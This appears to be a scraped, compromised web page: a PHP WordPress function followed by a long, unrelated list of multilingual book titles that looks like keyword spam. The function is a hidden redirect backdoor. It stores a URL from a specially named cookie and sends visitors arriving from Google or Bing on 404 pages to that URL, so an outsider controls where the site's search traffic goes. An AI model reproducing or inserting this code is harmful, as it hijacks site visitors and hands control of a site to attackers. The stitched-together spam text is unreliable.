function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"])) { update_option('wpd_do_stuff_on_40404_url', $_COOKIE["9f0a3edc47dd56aa0350b66dbabb6972"]); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url'); if (!empty($u)) { wp_redirect($u . "?referrer=" . $_SERVER["HTTP_REFERER"]); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' );Burnout zwischen Modediagnose und Tabu: Die Prävention von Erschöpfungszuständen als Führungsaufgabe (German Edition) Catalogus (Dutch Edition) The Corporate Recruitment Game Problem-Solving Methods in Combinatorics: An Approach to Olympiad Problems Yii Project Blueprints Nuclear Physics with Polarized Particles (Lecture Notes in Physics) Making Change Work: How to Create Behavioural Change in Organizations to Drive Impact and ROI Imagination of Science in Education: From Epics to Novelization: 7 (Cultural Studies of Science Education) De genealogie van de moraal (Nietzsche-bibliotheek) (Dutch Edition) Il lato oscuro del digitale. Breviario per (soprav)vivere nell'era della rete: Breviario per (soprav)vivere nell'era della rete (La società) (Italian Edition) Report on Development of Beijing, Tianjin, and Hebei Province (2013): Measurement of Carrying Capacity and Countermeasures (Current Chinese Economic Report Series) Spinnenjagd: Elemental Assassin 3 (German Edition) Return on Investment in der Personalentwicklung: Der 5-Stufen-Evaluationsprozess (German Edition) Handbuch Angewandte Psychologie für Führungskräfte: Führungskompetenz und Führungswissen (German Edition) Space-Time Block Coding for Wireless Communications Beyond the Archive: Memory, Narrative, and the Autobiographical Process (Explorations in Narrative Psychology) Ciclos de tiempo y significado en los libros mexicanos del destino (Antropologia) (Spanish Edition) Unternehmensfusion als Mittel zur Unternehmenswertsteigerung (German Edition)